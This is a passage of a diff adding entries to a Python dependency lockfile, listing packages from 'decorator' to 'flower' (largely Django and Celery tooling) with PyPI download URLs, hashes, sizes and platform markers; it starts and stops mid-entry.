= [ + { url = "https://files.pythonhosted.org/packages/4e/8c/f3147f5c4b73e7550fe5f9352eaa956ae838d5c51eb58e7a25b9f3e2643b/decorator-5.2.1-py3-none-any.whl", hash = "sha256:d316bb415a2d9e2d2b3abcc4084c6502fc09240e292cd76a76afc106a1c8e04a", size = 9190, upload-time = "2025-02-24T04:41:32.565Z" }, +] + +[[package]] +name = "defusedxml" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0f/d5/c66da9b79e5bdb124974bfe172b4daf3c984ebd9c2a06e2b8a4dc7331c72/defusedxml-0.7.1.tar.gz", hash = "sha256:1bb3032db185915b62d7c6209c5a8792be6a32ab2fedacc84e01b52c51aa3e69", size = 75520, upload-time = "2021-03-08T10:59:26.269Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/07/6c/aa3f2f849e01cb6a001cd8554a88d4c77c5c1a31c95bdf1cf9301e6d9ef4/defusedxml-0.7.1-py2.py3-none-any.whl", hash = "sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61", size = 25604, upload-time = "2021-03-08T10:59:24.45Z" }, +] + +[[package]] +name = "distro" +version = "1.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fc/f8/98eea607f65de6527f8a2e8885fc8015d3e6f5775df186e443e0964a11c3/distro-1.9.0.tar.gz", hash = "sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed", size = 60722, upload-time = "2023-12-24T09:54:32.31Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/b3/231ffd4ab1fc9d679809f356cebee130ac7daa00d6d6f3206dd4fd137e9e/distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2", size = 20277, upload-time = "2023-12-24T09:54:30.421Z" }, +] + +[[package]] +name = "dj-database-url" +version = "2.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f0/1d/91ca6ded2b97688bc0287240c916690b6ee7ce2fd5327ea83f847730f6ec/dj-database-url-2.1.0.tar.gz", hash = "sha256:f2042cefe1086e539c9da39fad5ad7f61173bf79665e69bf7e4de55fa88b135f", size = 10502, upload-time = "2023-08-15T14:38:12.078Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/21/d2/b90366de4682c1472748b848292054e0960673f3c7d1a9d08fb227fad819/dj_database_url-2.1.0-py3-none-any.whl", hash = "sha256:04bc34b248d4c21aaa13e4ab419ae6575ef5f10f3df735ce7da97722caa356e0", size = 7673, upload-time = "2023-08-15T14:39:01.026Z" }, +] + +[[package]] +name = "django" +version = "5.0.14" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asgiref", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sqlparse", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9d/a4/cc0205045386b5be8eecb15a95f290383d103f0db5f7e34f93dcc340d5b0/Django-5.0.14.tar.gz", hash = "sha256:29019a5763dbd48da1720d687c3522ef40d1c61be6fb2fad27ed79e9f655bc11", size = 10644306, upload-time = "2025-04-02T11:24:41.396Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/93/eabde8789f41910845567ebbff5aacd52fd80e54c934ce15b83d5f552d2c/Django-5.0.14-py3-none-any.whl", hash = "sha256:e762bef8629ee704de215ebbd32062b84f4e56327eed412e5544f6f6eb1dfd74", size = 8185934, upload-time = "2025-04-02T11:24:36.888Z" }, +] + +[[package]] +name = "django-appconf" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d1/a2/e58bec8d7941b914af52a67c35b5709eceed2caa2848f28437f1666ed668/django_appconf-1.2.0.tar.gz", hash = "sha256:15a88d60dd942d6059f467412fe4581db632ef03018a3c183fb415d6fc9e5cec", size = 16127, upload-time = "2025-11-08T15:46:27.304Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/e6/4c34d94dfb74bbcbc489606e61f1924933de30d22c593dd1f429f35fbd7f/django_appconf-1.2.0-py3-none-any.whl", hash = "sha256:b81bce5ef0ceb9d84df48dfb623a32235d941c78cc5e45dbb6947f154ea277f4", size = 6500, upload-time = "2025-11-08T15:46:25.957Z" }, +] + +[[package]] +name = "django-cachalot" +version = "2.6.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/58/62/7b41df42e8896485f66a2dd947ee9851f85bbb5d0a797e13ed8dfc4051f5/django-cachalot-2.6.2.tar.gz", hash = "sha256:1ea598845d0dd522173274bf2659ba3d962b3c69309874bf1fc73838fb1cd39c", size = 73693, upload-time = "2024-01-11T06:46:53.96Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/d9/0fa7bb0842f535c7e839a1dc26111b8cfb76351d1d35578d0f7f8e08fa59/django_cachalot-2.6.2-py3-none-any.whl", hash = "sha256:40bb42f4cca185f59d28b4cd9155426f620f0d16210619d62058f095f8f2a14b", size = 55181, upload-time = "2024-01-11T06:46:52.326Z" }, +] + +[[package]] +name = "django-celery-beat" +version = "2.6.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "celery", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "cron-descriptor", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-timezone-field", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-crontab", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tzdata", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1b/ce/308fdad8c073051c0a1e494939d5c304b4efbbeb4bee1115495a60c139e8/django-celery-beat-2.6.0.tar.gz", hash = "sha256:f75b2d129731f1214be8383e18fae6bfeacdb55dffb2116ce849222c0106f9ad", size = 160452, upload-time = "2024-03-03T17:07:03.864Z" } + +[[package]] +name = "django-celery-email" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "celery", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-appconf", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/48/78/95c9959978c1b8abd587735cf084065b0ac8196580f6f30b2c9e9636401a/django-celery-email-3.0.0.tar.gz", hash = "sha256:5546cbba80952cc3b8a0ffa4206ce90a4a996a7ffd1c385a2bdb65903ca18ece", size = 12644, upload-time = "2019-12-11T15:32:11.6Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/2f/0120d868a2c2919afaed34c73c9c4f8c9208262668fa0218f330cfda3e18/django_celery_email-3.0.0-py2.py3-none-any.whl", hash = "sha256:0f72da39cb2ea83c69440566e87f27cd72f68f247f98ce99fb29889fcf329406", size = 9450, upload-time = "2019-12-11T15:32:09.919Z" }, +] + +[[package]] +name = "django-cors-headers" +version = "4.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asgiref", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8a/04/a280a98256602d3f4fffae37a9410711fb80f9d6cf199679f6e93bbdb8b3/django-cors-headers-4.3.1.tar.gz", hash = "sha256:0bf65ef45e606aff1994d35503e6b677c0b26cafff6506f8fd7187f3be840207", size = 21146, upload-time = "2023-11-14T17:27:29.31Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fe/6a/3428ab5d1ec270e845f4ef064a7cefbf1339b4454788d77c00d36caa828c/django_cors_headers-4.3.1-py3-none-any.whl", hash = "sha256:0b1fd19297e37417fc9f835d39e45c8c642938ddba1acce0c1753d3edef04f36", size = 12785, upload-time = "2023-11-14T17:27:27.128Z" }, +] + +[[package]] +name = "django-cte" +version = "1.3.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a0/56/951f6e176c83bf5e500ef7108c9e8de38785e249b62fa29be12b4c71c4eb/django-cte-1.3.3.tar.gz", hash = "sha256:0c1aeef067278a22886151c1d27f6f665a303952d058900e5ca82a24cde40697", size = 10931, upload-time = "2024-06-07T12:51:06.089Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/02/a9d12e8c1cb767b2541bf7d759fbe713f84238f1c2bd22ed2ef3bed14606/django_cte-1.3.3-py2.py3-none-any.whl", hash = "sha256:85bbc3efb30c2f8c9ae3080ca6f0b9570e43d2cb4b6be10846c8ef9f046873fa", size = 11989, upload-time = "2024-06-07T12:51:04.827Z" }, +] + +[[package]] +name = "django-extensions" +version = "3.2.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8a/f1/318684c9466968bf9a9c221663128206e460c1a67f595055be4b284cde8a/django-extensions-3.2.3.tar.gz", hash = "sha256:44d27919d04e23b3f40231c4ab7af4e61ce832ef46d610cc650d53e68328410a", size = 277216, upload-time = "2023-06-05T17:09:01.447Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a7/7e/ba12b9660642663f5273141018d2bec0a1cae1711f4f6d1093920e157946/django_extensions-3.2.3-py3-none-any.whl", hash = "sha256:9600b7562f79a92cbf1fde6403c04fee314608fefbb595502e34383ae8203401", size = 229868, upload-time = "2023-06-05T17:08:58.197Z" }, +] + +[[package]] +name = "django-health-check" +version = "3.18.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4a/7d/081c0fb1e0fe2ee58b6a2a026779329e9dee1e637f1e98437e76f6c71189/django_health_check-3.18.2.tar.gz", hash = "sha256:21235120f8d756fa75ba430d0b0dbb04620fbd7bfac92ed6a0b911915ba38918", size = 20939, upload-time = "2024-05-03T21:55:49.798Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b2/d5/41a450d82a33722dcf13e46d1fd1fc0b9d294a1ba040b49f125bcf5f672d/django_health_check-3.18.2-py2.py3-none-any.whl", hash = "sha256:16f9c9186236cbc2858fa0d0ecc3566ba2ad2b72683e5678d0d58eb9e8bbba1a", size = 30354, upload-time = "2024-05-03T21:55:47.751Z" }, +] + +[[package]] +name = "django-redis" +version = "5.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/83/9d/2272742fdd9d0a9f0b28cd995b0539430c9467a2192e4de2cea9ea6ad38c/django-redis-5.4.0.tar.gz", hash = "sha256:6a02abaa34b0fea8bf9b707d2c363ab6adc7409950b2db93602e6cb292818c42", size = 52567, upload-time = "2023-10-01T20:22:01.221Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/f1/63caad7c9222c26a62082f4f777de26389233b7574629996098bf6d25a4d/django_redis-5.4.0-py3-none-any.whl", hash = "sha256:ebc88df7da810732e2af9987f7f426c96204bf89319df4c6da6ca9a2942edd5b", size = 31119, upload-time = "2023-10-01T20:21:33.009Z" }, +] + +[[package]] +name = "django-silk" +version = "5.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "autopep8", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "gprof2dot", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sqlparse", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b6/ab/9db04cbbb60a4a6c444f87a0dc3d6b554182abd234a170158fad20085704/django-silk-5.1.0.tar.gz", hash = "sha256:34abb5852315f0f3303d45b7ab4a2caa9cf670102b614dbb2ac40a5d2d5cbffb", size = 4392132, upload-time = "2024-01-22T01:38:56.645Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/cf/273b7494fea1bdb3e7843cab58587cd835cbc7e138e05d3f0c0698cb2121/django_silk-5.1.0-py3-none-any.whl", hash = "sha256:35a2051672b0be86af4ce734a0df0b6674c8c63f2df730b3756ec6e52923707d", size = 1839859, upload-time = "2024-01-22T01:39:29.216Z" }, +] + +[[package]] +name = "django-storages" +version = "1.14.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/10/96/eb5666d3f68f929db2ff8254279e65c55f7c323c0042d2c59f77a72df12a/django-storages-1.14.3.tar.gz", hash = "sha256:95a12836cd998d4c7a4512347322331c662d9114c4344f932f5e9c0fce000608", size = 115310, upload-time = "2024-05-04T18:57:39.624Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/72/b3/f289e09be846831dea41f5133f9f228974061a6cc8b14c1228e848628d5a/django_storages-1.14.3-py3-none-any.whl", hash = "sha256:31f263389e95ce3a1b902fb5f739a7ed32895f7d8b80179fe7453ecc0dfe102e", size = 47861, upload-time = "2024-05-04T18:57:37.255Z" }, +] + +[package.optional-dependencies] +azure = [ + { name = "azure-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "azure-storage-blob", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +google = [ + { name = "google-cloud-storage", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[[package]] +name = "django-stubs" +version = "1.16.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-stubs-ext", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "mypy", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tomli", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "types-pytz", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "types-pyyaml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8c/a8/0e2323bf6fd080623976006860421d47ca4a6d5d21e27980010c187a05ad/django-stubs-1.16.0.tar.gz", hash = "sha256:1bd96207576cd220221a0e615f0259f13d453d515a80f576c1246e0fb547f561", size = 236630, upload-time = "2023-03-16T14:26:43.666Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9b/3e/9c1a097b80002e340d5b3f4b6777a79501a1a5cba29a18f137b9fb91aa91/django_stubs-1.16.0-py3-none-any.whl", hash = "sha256:c95f948e2bfc565f3147e969ff361ef033841a0b8a51cac974a6cc6d0486732c", size = 432684, upload-time = "2023-03-16T14:26:40.396Z" }, +] + +[[package]] +name = "django-stubs-ext" +version = "0.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/de/27/518a5c6326d4444a4d59d8a6ff50ec131ab67da7460c645745d13d2c168f/django-stubs-ext-0.8.0.tar.gz", hash = "sha256:9a9ba9e2808737949de96a0fce8b054f12d38e461011d77ebc074ffe8c43dfcb", size = 5949, upload-time = "2023-03-16T14:11:50.778Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/06/1c/952f81adc763424c5f429814b289ede729dc6ee4ed0cc087b3260744d96b/django_stubs_ext-0.8.0-py3-none-any.whl", hash = "sha256:a454d349d19c26d6c50c4c6dbc1e8af4a9cda4ce1dc4104e3dd4c0330510cc56", size = 6669, upload-time = "2023-03-16T14:11:49.214Z" }, +] + +[[package]] +name = "django-timezone-field" +version = "7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ba/5b/0dbe271fef3c2274b83dbcb1b19fa3dacf1f7e542382819294644e78ea8b/django_timezone_field-7.1.tar.gz", hash = "sha256:b3ef409d88a2718b566fabe10ea996f2838bc72b22d3a2900c0aa905c761380c", size = 13727, upload-time = "2025-01-11T17:49:54.486Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/09/7a808392a751a24ffa62bec00e3085a9c1a151d728c323a5bab229ea0e58/django_timezone_field-7.1-py3-none-any.whl", hash = "sha256:93914713ed882f5bccda080eda388f7006349f25930b6122e9b07bf8db49c4b4", size = 13177, upload-time = "2025-01-11T17:49:52.142Z" }, +] + +[[package]] +name = "djangorestframework" +version = "3.15.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ec/60/cc2dd985400293fe7bf3fa1b9a5d61f5b44200c33f7d31952f2c9fd79e8a/djangorestframework-3.15.1.tar.gz", hash = "sha256:f88fad74183dfc7144b2756d0d2ac716ea5b4c7c9840995ac3bfd8ec034333c1", size = 1066194, upload-time = "2024-03-22T15:50:51.875Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/7e/8c45ea7f85dd5d52ceddbacc6f56ecaca21ecbfc0e8c34c95618a14d5082/djangorestframework-3.15.1-py3-none-any.whl", hash = "sha256:3ccc0475bce968608cf30d07fb17d8e52d1d7fc8bfe779c905463200750cbca6", size = 1067096, upload-time = "2024-03-22T15:50:48.759Z" }, +] + +[[package]] +name = "djangorestframework-simplejwt" +version = "5.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "djangorestframework", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyjwt", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ac/f3/f2ce06fcd1c53e12b26cc5a3ec9e0acd47eb4be02e1d24de50edee5c5abf/djangorestframework_simplejwt-5.3.1.tar.gz", hash = "sha256:6c4bd37537440bc439564ebf7d6085e74c5411485197073f508ebdfa34bc9fae", size = 94266, upload-time = "2023-12-04T06:37:22.761Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f2/ab/88f73cf08d2ad3fb9f71b956dceca5680a57f121e5ce9a604f365877d57e/djangorestframework_simplejwt-5.3.1-py3-none-any.whl", hash = "sha256:381bc966aa46913905629d472cd72ad45faa265509764e20ffd440164c88d220", size = 101339, upload-time = "2023-12-04T06:38:25.362Z" }, +] + +[[package]] +name = "docstring-parser" +version = "0.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b2/9d/c3b43da9515bd270df0f80548d9944e389870713cc1fe2b8fb35fe2bcefd/docstring_parser-0.17.0.tar.gz", hash = "sha256:583de4a309722b3315439bb31d64ba3eebada841f2e2cee23b99df001434c912", size = 27442, upload-time = "2025-07-21T07:35:01.868Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/55/e2/2537ebcff11c1ee1ff17d8d0b6f4db75873e3b0fb32c2d4a2ee31ecb310a/docstring_parser-0.17.0-py3-none-any.whl", hash = "sha256:cf2569abd23dce8099b300f9b4fa8191e9582dda731fd533daf54c4551658708", size = 36896, upload-time = "2025-07-21T07:35:00.684Z" }, +] + +[[package]] +name = "drf-spectacular" +version = "0.28.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "djangorestframework", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "inflection", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jsonschema", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyyaml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "uritemplate", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/da/b9/741056455aed00fa51a1df41fad5ad27c8e0d433b6bf490d4e60e2808bc6/drf_spectacular-0.28.0.tar.gz", hash = "sha256:2c778a47a40ab2f5078a7c42e82baba07397bb35b074ae4680721b2805943061", size = 237849, upload-time = "2024-11-30T08:49:02.355Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/66/c2929871393b1515c3767a670ff7d980a6882964a31a4ca2680b30d7212a/drf_spectacular-0.28.0-py3-none-any.whl", hash = "sha256:856e7edf1056e49a4245e87a61e8da4baff46c83dbc25be1da2df77f354c7cb4", size = 103928, upload-time = "2024-11-30T08:48:57.288Z" }, +] + +[[package]] +name = "elementpath" +version = "4.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ac/41/afdd82534c80e9675d1c51dc21d0889b72d023bfe395a2f5a44d751d3a73/elementpath-4.8.0.tar.gz", hash = "sha256:5822a2560d99e2633d95f78694c7ff9646adaa187db520da200a8e9479dc46ae", size = 358528, upload-time = "2025-03-03T20:51:08.397Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/45/95/615af832e7f507fe5ce4562b4be1bd2fec080c4ff6da88dcd0c2dbfca582/elementpath-4.8.0-py3-none-any.whl", hash = "sha256:5393191f84969bcf8033b05ec4593ef940e58622ea13cefe60ecefbbf09d58d9", size = 243271, upload-time = "2025-03-03T20:51:03.027Z" }, +] + +[[package]] +name = "et-xmlfile" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d3/38/af70d7ab1ae9d4da450eeec1fa3918940a5fafb9055e934af8d6eb0c2313/et_xmlfile-2.0.0.tar.gz", hash = "sha256:dab3f4764309081ce75662649be815c4c9081e88f0837825f90fd28317d4da54", size = 17234, upload-time = "2024-10-25T17:25:40.039Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c1/8b/5fe2cc11fee489817272089c4203e679c63b570a5aaeb18d852ae3cbba6a/et_xmlfile-2.0.0-py3-none-any.whl", hash = "sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa", size = 18059, upload-time = "2024-10-25T17:25:39.051Z" }, +] + +[[package]] +name = "eval-type-backport" +version = "0.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/30/ea/8b0ac4469d4c347c6a385ff09dc3c048c2d021696664e26c7ee6791631b5/eval_type_backport-0.2.2.tar.gz", hash = "sha256:f0576b4cf01ebb5bd358d02314d31846af5e07678387486e2c798af0e7d849c1", size = 9079, upload-time = "2024-12-21T20:09:46.005Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ce/31/55cd413eaccd39125368be33c46de24a1f639f2e12349b0361b4678f3915/eval_type_backport-0.2.2-py3-none-any.whl", hash = "sha256:cb6ad7c393517f476f96d456d0412ea80f0a8cf96f6892834cd9340149111b0a", size = 5830, upload-time = "2024-12-21T20:09:44.175Z" }, +] + +[[package]] +name = "execnet" +version = "2.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" }, +] + +[[package]] +name = "executing" +version = "2.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cc/28/c14e053b6762b1044f34a13aab6859bbf40456d37d23aa286ac24cfd9a5d/executing-2.2.1.tar.gz", hash = "sha256:3632cc370565f6648cc328b32435bd120a1e4ebb20c77e3fdde9a13cd1e533c4", size = 1129488, upload-time = "2025-09-01T09:48:10.866Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c1/ea/53f2148663b321f21b5a606bd5f191517cf40b7072c0497d3c92c4a13b1e/executing-2.2.1-py2.py3-none-any.whl", hash = "sha256:760643d3452b4d777d295bb167ccc74c64a81df23fb5e08eff250c425a4b2017", size = 28317, upload-time = "2025-09-01T09:48:08.5Z" }, +] + +[[package]] +name = "faker" +version = "25.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f9/2b/5900eeb8ef47bb76978b97eadbd05f88074b6518baf807b7d52d95cb08d0/Faker-25.0.1.tar.gz", hash = "sha256:c153505618801f1704807b258a6010ea8cabf91f66f4788939bfdba83b887e76", size = 1759603, upload-time = "2024-05-02T16:40:45.922Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/88/da/57dae7b42ae9ab7770de6e1b9bde39c1877e4687bd20c04eb53aaff46f22/Faker-25.0.1-py3-none-any.whl", hash = "sha256:6737cc6d591cd83421fdc5e494f6e2c1a6e32266214f158b745aa9fa15687c98", size = 1796097, upload-time = "2024-05-02T16:40:40.549Z" }, +] + +[[package]] +name = "fakeredis" +version = "2.23.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sortedcontainers", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8f/d2/e094974d8822e5434a504447e92a719d439b9aff57497891ce2e0ba788bd/fakeredis-2.23.2.tar.gz", hash = "sha256:d649c409abe46c63690b6c35d3c460e4ce64c69a52cea3f02daff2649378f878", size = 132956, upload-time = "2024-05-18T16:56:30.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c8/41/a381828c92a09bf10a54a35555232e692978897bae400e87292ad369c047/fakeredis-2.23.2-py3-none-any.whl", hash = "sha256:3721946b955930c065231befd24a9cdc68b339746e93848ef01a010d98e4eb4f", size = 87923, upload-time = "2024-05-18T16:56:28.534Z" }, +] + +[package.optional-dependencies] +lua = [ + { name = "lupa", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[[package]] +name = "flake8" +version = "7.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mccabe", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pycodestyle", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyflakes", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/40/3c/3464b567aa367b221fa610bbbcce8015bf953977d21e52f2d711b526fb48/flake8-7.0.0.tar.gz", hash = "sha256:33f96621059e65eec474169085dc92bf26e7b2d47366b70be2f67ab80dc25132", size = 48219, upload-time = "2024-01-05T00:41:52.142Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e3/01/cc8cdec7b61db0315c2ab62d80677a138ef06832ec17f04d87e6ef858f7f/flake8-7.0.0-py2.py3-none-any.whl", hash = "sha256:a6dfbb75e03252917f2473ea9653f7cd799c3064e54d4c8140044c5c065f53c3", size = 57570, upload-time = "2024-01-05T00:41:49.837Z" }, +] + +[[package]] +name = "flower" +version = "2.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "celery", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "humanize", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "prometheus-client", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytz", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tornado", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/09/a1/357f1b5d8946deafdcfdd604f51baae9de10aafa2908d0b7322597155f92/flower-2.0.1.tar.gz", hash = "sha256:5ab717b979530770c16afb48b50d2a98d23c3e9fe39851dcf6bc4d01845a02a0", size = 3220408, upload-time = "2023-08-13T14:37:46.073Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a6/ff/ee2f67c0ff146ec98b5df1df637b2bc2d17beeb05df9f427a67bd7a7d79c/flower-2.0.1-py2.py3-none-any.whl", hash = "sha256:9db2c621eeefbc844c8dd88be64aef61e84e2deb29b271e02ab2b5b9f01068e2", size = 383553, upload-time = 